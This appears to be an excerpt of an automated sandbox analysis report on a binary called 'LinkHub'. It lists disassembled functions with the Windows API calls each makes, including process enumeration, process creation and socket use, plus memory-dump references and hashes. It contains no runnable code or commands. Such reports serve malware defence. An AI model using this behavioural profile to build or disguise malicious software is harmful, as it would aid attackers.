                                                                            • Opcode ID: 54daa034a37cfcd1a4486f423c19ee05d53818e5fca6c6a439f28530cd703b10
                                                                            • Instruction ID: 885ee495d76171c4402433a7f4c26ef303183db8d5923c092d714ef4a49986c6
                                                                            • Opcode Fuzzy Hash: 54daa034a37cfcd1a4486f423c19ee05d53818e5fca6c6a439f28530cd703b10
                                                                            • Instruction Fuzzy Hash: 952162B5741609AFDB11DF28DC81DB737ADEB5A3A8F041159FA00A7361CB70EC15CAA0
                                                                            Function 00E64253 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • SendMessageW.USER32(00000000,00000180,00000000,?), ref: 00E642DC
                                                                            • SendMessageW.USER32(?,00000186,00000000,00000000), ref: 00E642EC
                                                                            • MoveWindow.USER32(00000000,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 00E64312
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: MessageSend$MoveWindow
                                                                            • String ID: Listbox
                                                                            • API String ID: 3315199576-2633736733
                                                                            • Opcode ID: 08b586522432cf226f1972711fef4028e522187a9c17a5949c9f8c2cbb24f6ab
                                                                            • Instruction ID: dbe51603362d1ca14c9a477db1b80dfa13e039245f12799f4f8dc528398739bb
                                                                            • Opcode Fuzzy Hash: 08b586522432cf226f1972711fef4028e522187a9c17a5949c9f8c2cbb24f6ab
                                                                            • Instruction Fuzzy Hash: 5421B072644218BFEF118F94EC84FAB3B6EEB897A4F119115F900BB1E0C671AC5187A0
                                                                            Function 00E45439 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • SetErrorMode.KERNEL32(00000001), ref: 00E4544D
                                                                            • GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 00E454A1
                                                                            • SetErrorMode.KERNEL32(00000000,?,?,00E6DCD0), ref: 00E45515
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: ErrorMode$InformationVolume
                                                                            • String ID: %lu
                                                                            • API String ID: 2507767853-685833217
                                                                            • Opcode ID: bccd27f16d88de3247398238cdcbbbc6b0017643a280a49ba123e4e95d2c2278
                                                                            • Instruction ID: ef8096e5581ee1e5bce683ce0343a8f3dffaf8fea3377f37982b61703c44d194
                                                                            • Opcode Fuzzy Hash: bccd27f16d88de3247398238cdcbbbc6b0017643a280a49ba123e4e95d2c2278
                                                                            • Instruction Fuzzy Hash: 63312F71A00209AFDB10DF54D885EAA7BF9EF09308F144099E509EB362DB75EE45CB61
                                                                            Function 00E68305 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetActiveWindow.USER32 ref: 00E68339
                                                                            • EnumChildWindows.USER32(?,00E6802F,00000000), ref: 00E683B0
                                                                              • Part of subcall function 00DD249F: GetWindowLongW.USER32(00000000,000000EB), ref: 00DD24B0
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Window$ActiveChildEnumLongWindows
                                                                            • String ID: ($(
                                                                            • API String ID: 3814560230-3881858432
                                                                            • Opcode ID: f9d22bf46fc0628495292ce10087ac1efa9410a8c67c037529ef398c65e097fa
                                                                            • Instruction ID: 426b1e979d01c39e434d04ade5f1f993f805f1160685aeaa637e6b2cbac8e92b
                                                                            • Opcode Fuzzy Hash: f9d22bf46fc0628495292ce10087ac1efa9410a8c67c037529ef398c65e097fa
                                                                            • Instruction Fuzzy Hash: 3D211974244205DFC7248F29E950AA6B7F5EB8A7A0F20171DE975B73A0DB70B804CB60
                                                                            Function 00E64C89 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 00E64CED
                                                                            • SendMessageW.USER32(?,00000406,00000000,00640000), ref: 00E64D02
                                                                            • SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00E64D0F
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: MessageSend
                                                                            • String ID: msctls_trackbar32
                                                                            • API String ID: 3850602802-1010561917
                                                                            • Opcode ID: 394305287ef750dca0ff79661c75e1be59c0c1c890c33f91e530c3fbdbc74a15
                                                                            • Instruction ID: 20aeaf17cdac4b38dc923357d069f44035d034dad3360450251036586ef42113
                                                                            • Opcode Fuzzy Hash: 394305287ef750dca0ff79661c75e1be59c0c1c890c33f91e530c3fbdbc74a15
                                                                            • Instruction Fuzzy Hash: 2A113AB1280208BEEF105F65DC05FAB77A8EF857A8F111114FA40F21E0C271DC10DB20
                                                                            Function 00E3389E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 67windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                              • Part of subcall function 00DD8577: _wcslen.LIBCMT ref: 00DD858A
                                                                              • Part of subcall function 00E336F4: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 00E33712
                                                                              • Part of subcall function 00E336F4: GetWindowThreadProcessId.USER32(?,00000000), ref: 00E33723
                                                                              • Part of subcall function 00E336F4: GetCurrentThreadId.KERNEL32 ref: 00E3372A
                                                                              • Part of subcall function 00E336F4: AttachThreadInput.USER32(00000000,?,00000000,00000000), ref: 00E33731
                                                                            • GetFocus.USER32 ref: 00E338C4
                                                                              • Part of subcall function 00E3373B: GetParent.USER32(00000000), ref: 00E33746
                                                                            • GetClassNameW.USER32(?,?,00000100), ref: 00E3390F
                                                                            • EnumChildWindows.USER32(?,00E33987), ref: 00E33937
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Thread$AttachChildClassCurrentEnumFocusInputMessageNameParentProcessSendTimeoutWindowWindows_wcslen
                                                                            • String ID: %s%d
                                                                            • API String ID: 1272988791-1110647743
                                                                            • Opcode ID: dcd13bbccdbe7f93850bd76da404c0f7ad3cbd897055aa4e29fee6a8bf14de8d
                                                                            • Instruction ID: aff693306a70046473b646b92f74cb8ef1ca9510df347bcc2f1bb9ba864921f8
                                                                            • Opcode Fuzzy Hash: dcd13bbccdbe7f93850bd76da404c0f7ad3cbd897055aa4e29fee6a8bf14de8d
                                                                            • Instruction Fuzzy Hash: 7911D5B5B04205ABCF01BF749C8AEEE7BA99F94344F005065F909BB296CEB19945DB30
                                                                            Function 00DD59FF Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 64COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • DeleteObject.GDI32(?), ref: 00DD5A34
                                                                            • DestroyWindow.USER32(?,00DD37B8,?,?,?,?,?,00DD3709,?,?), ref: 00DD5A91
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: DeleteDestroyObjectWindow
                                                                            • String ID: <)$<)
                                                                            • API String ID: 2587070983-10615988
                                                                            • Opcode ID: 3ef96b361cf212cc0fb83a6d7227683ffb77e3c768ddeb1ef144d27e968311c4
                                                                            • Instruction ID: 87a199c08f54f8990368aebc3248e012f4cc1afece4b4b28a26e61aa28880c56
                                                                            • Opcode Fuzzy Hash: 3ef96b361cf212cc0fb83a6d7227683ffb77e3c768ddeb1ef144d27e968311c4
                                                                            • Instruction Fuzzy Hash: BD21FC74606511CFDB189B1EF894B6633E0ABCEB15F05615EE602BB368CB30BC48CB21
                                                                            Function 00E66321 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetMenuItemInfoW.USER32(?,?,?,00000030), ref: 00E66360
                                                                            • SetMenuItemInfoW.USER32(?,?,?,00000030), ref: 00E6638D
                                                                            • DrawMenuBar.USER32(?), ref: 00E6639C
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Menu$InfoItem$Draw
                                                                            • String ID: 0
                                                                            • API String ID: 3227129158-4108050209
                                                                            • Opcode ID: 54e4084c7b95c8e60faf075d8bac9be0aa7e49039a793219137df2e0fc36f024
                                                                            • Instruction ID: 32db27cfaacea55b1edae0055a5a8673bf69aa0b3f5060a787522de1cd6a0fa7
                                                                            • Opcode Fuzzy Hash: 54e4084c7b95c8e60faf075d8bac9be0aa7e49039a793219137df2e0fc36f024
                                                                            • Instruction Fuzzy Hash: CC016131654218EFDB119F11EC84BAE7BB4FB44395F10C099E54AE6151DB708985EF31
                                                                            Function 00E6823D Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 41windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetForegroundWindow.USER32(?,00EA28E0,00E6AD55,000000FC,?,00000000,00000000,?), ref: 00E6823F
                                                                            • GetFocus.USER32 ref: 00E68247
                                                                              • Part of subcall function 00DD249F: GetWindowLongW.USER32(00000000,000000EB), ref: 00DD24B0
                                                                              • Part of subcall function 00DD2234: GetWindowLongW.USER32(?,000000EB), ref: 00DD2242
                                                                            • SendMessageW.USER32(?,000000B0,000001BC,000001C0), ref: 00E682B4
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Window$Long$FocusForegroundMessageSend
                                                                            • String ID: (
                                                                            • API String ID: 3601265619-2063206799
                                                                            • Opcode ID: 4aef5dbd5e059e6edd41e5364b4c4e644377e8116dea9ec477d743568a91f8c7
                                                                            • Instruction ID: 755bb5327cc2a8beb6026aae57a2d127a5d4ff4a02ed24f083e1bdf957418074
                                                                            • Opcode Fuzzy Hash: 4aef5dbd5e059e6edd41e5364b4c4e644377e8116dea9ec477d743568a91f8c7
                                                                            • Instruction Fuzzy Hash: 71015231602500CFC3159B69E854A6A37AAEB8A368F14025DE516B73B0CB316C0BCB50
                                                                            Function 00E68526 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 41COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • DestroyAcceleratorTable.USER32(?), ref: 00E68576
                                                                            • CreateAcceleratorTableW.USER32(00000000,?,?,?,00E4BE96,00000000,00000000,?,00000001,00000002), ref: 00E6858C
                                                                            • GetForegroundWindow.USER32(?,00E4BE96,00000000,00000000,?,00000001,00000002), ref: 00E68595
                                                                              • Part of subcall function 00DD249F: GetWindowLongW.USER32(00000000,000000EB), ref: 00DD24B0
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: AcceleratorTableWindow$CreateDestroyForegroundLong
                                                                            • String ID: (
                                                                            • API String ID: 986409557-2063206799
                                                                            • Opcode ID: 615ff1c46dbc267e313f86a7053da14a2335235561d274d6ccdbd7635908cf09
                                                                            • Instruction ID: 61ee6240b1438f96a3d6082ed72100b79bf658c9b9865e3bd603c8b130793ae5
                                                                            • Opcode Fuzzy Hash: 615ff1c46dbc267e313f86a7053da14a2335235561d274d6ccdbd7635908cf09
                                                                            • Instruction Fuzzy Hash: E8012D30A05304CFCB249F6AEC84A6677A1FB597A5F10561EF612B66B0DB30A998CB41
                                                                            Function 00E68BCD Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 40processCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00EA4038,00EA407C), ref: 00E68C1A
                                                                            • CloseHandle.KERNEL32 ref: 00E68C2C
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: CloseCreateHandleProcess
                                                                            • String ID: 8@$|@
                                                                            • API String ID: 3712363035-2203533388
                                                                            • Opcode ID: b69070087bb1f2ee88386cc19294723dfac9b94cec2750b16d841df584fcc663
                                                                            • Instruction ID: 88e64c5452ac78a49c4ad921f24ba3f2049a337a2519247422200376c5d843fd
                                                                            • Opcode Fuzzy Hash: b69070087bb1f2ee88386cc19294723dfac9b94cec2750b16d841df584fcc663
                                                                            • Instruction Fuzzy Hash: 8BF030F2681204BEE3106B626C86F777A5CEB5A390F414021BB08F51D1D6E56814A2BA
                                                                            Function 00E3096F Relevance: 6.3, APIs: 4, Instructions: 322COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 83ba8693725e3c64ac80370a31212bf0e73e19eb488bbe303c23166c08c79ffd
                                                                            • Instruction ID: bda7206146a02c75b61b608bd7deb191b26e1945d78340db0f10f120ce69dd40
                                                                            • Opcode Fuzzy Hash: 83ba8693725e3c64ac80370a31212bf0e73e19eb488bbe303c23166c08c79ffd
                                                                            • Instruction Fuzzy Hash: 67C15D75A00206EFDB14CF94C8A8EAEBBB5FF48708F209598E505EB251D771EE41CB90
                                                                            Function 00E041F3 Relevance: 6.3, APIs: 4, Instructions: 305COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: __alldvrm$_strrchr
                                                                            • String ID:
                                                                            • API String ID: 1036877536-0
                                                                            • Opcode ID: 6b642ec63ff6d3c82f2208d2655f2e81e391796f6f1882e4d3dcf0040d879e3b
                                                                            • Instruction ID: 4d2c66077202de65e3a69498f054deeb4581e9d070e9d8da6aa8d71a4696a36a
                                                                            • Opcode Fuzzy Hash: 6b642ec63ff6d3c82f2208d2655f2e81e391796f6f1882e4d3dcf0040d879e3b
                                                                            • Instruction Fuzzy Hash: DCA156F2A003869FDB25DE18C9917AEBBE5EF11314F2451ADE6A5BB2C1C23899C1C750
                                                                            Function 00E30D26 Relevance: 6.2, APIs: 4, Instructions: 230COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • ProgIDFromCLSID.OLE32(?,00000000,?,00000000,00000800,00000000,?,00E70BD4,?), ref: 00E30EE0
                                                                            • CoTaskMemFree.OLE32(00000000,00000000,?,00000000,00000800,00000000,?,00E70BD4,?), ref: 00E30EF8
                                                                            • CLSIDFromProgID.OLE32(?,?,00000000,00E6DCE0,000000FF,?,00000000,00000800,00000000,?,00E70BD4,?), ref: 00E30F1D
                                                                            • _memcmp.LIBVCRUNTIME ref: 00E30F3E
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: FromProg$FreeTask_memcmp
                                                                            • String ID:
                                                                            • API String ID: 314563124-0
                                                                            • Opcode ID: b4127b2467e89549d9a310df2c1dc36892895dc7711c10dfbcd2e62e0e8ae0fd
                                                                            • Instruction ID: eb864bf59f9a88126fba12ef1814f02b39287c37f6ee0c5d983c21ba025814ff
                                                                            • Opcode Fuzzy Hash: b4127b2467e89549d9a310df2c1dc36892895dc7711c10dfbcd2e62e0e8ae0fd
                                                                            • Instruction Fuzzy Hash: C6811A75A00109EFCB04DF94C998DEEBBB9FF89315F204558E516BB250DB71AE05CB60
                                                                            Function 00E5B0DC Relevance: 6.2, APIs: 4, Instructions: 175processCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • CreateToolhelp32Snapshot.KERNEL32 ref: 00E5B10C
                                                                            • Process32FirstW.KERNEL32(00000000,?), ref: 00E5B11A
                                                                              • Part of subcall function 00DDB329: _wcslen.LIBCMT ref: 00DDB333
                                                                            • Process32NextW.KERNEL32(00000000,?), ref: 00E5B1FC
                                                                            • CloseHandle.KERNEL32(00000000), ref: 00E5B20B
                                                                              • Part of subcall function 00DEE36B: CompareStringW.KERNEL32(00000409,00000001,?,00000000,00000000,?,?,00000000,?,00E14D73,?), ref: 00DEE395
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Process32$CloseCompareCreateFirstHandleNextSnapshotStringToolhelp32_wcslen
                                                                            • String ID:
                                                                            • API String ID: 1991900642-0
                                                                            • Opcode ID: b684cc628a6de44c10918b2d73063e0633226f0a558234608bee03de9de74b27
                                                                            • Instruction ID: 326db79f7f5a3ef60d3d75067f501d8a7c2b8309bbedf0494c45a72f41ced7c8
                                                                            • Opcode Fuzzy Hash: b684cc628a6de44c10918b2d73063e0633226f0a558234608bee03de9de74b27
                                                                            • Instruction Fuzzy Hash: 7E513D71908300AFD710EF25D886A5BBBE8FF89754F40491EF98597251EB70D908CBA2
                                                                            Function 00E11711 Relevance: 6.2, APIs: 4, Instructions: 152COMMONLIBRARYCODE
                                                                            Download Yara Rule
                                                                            APIs
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: _free
                                                                            • String ID:
                                                                            • API String ID: 269201875-0
                                                                            • Opcode ID: a6320ad31f60dc1145e7c81a8b99a7082bb5093df8dd47fb5ce741135a5e0f3c
                                                                            • Instruction ID: b3f6dffa9dda3066145468efcdc931a2c82974301346dc095802237610a2cc73
                                                                            • Opcode Fuzzy Hash: a6320ad31f60dc1145e7c81a8b99a7082bb5093df8dd47fb5ce741135a5e0f3c
                                                                            • Instruction Fuzzy Hash: 98416C32A00104ABDB247FB99C45BFE3AE4EF42330F1492A6F714F62D2DA7449C14671
                                                                            Function 00E52533 Relevance: 6.1, APIs: 4, Instructions: 138networkCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • socket.WSOCK32(00000002,00000002,00000011), ref: 00E5255A
                                                                            • WSAGetLastError.WSOCK32 ref: 00E52568
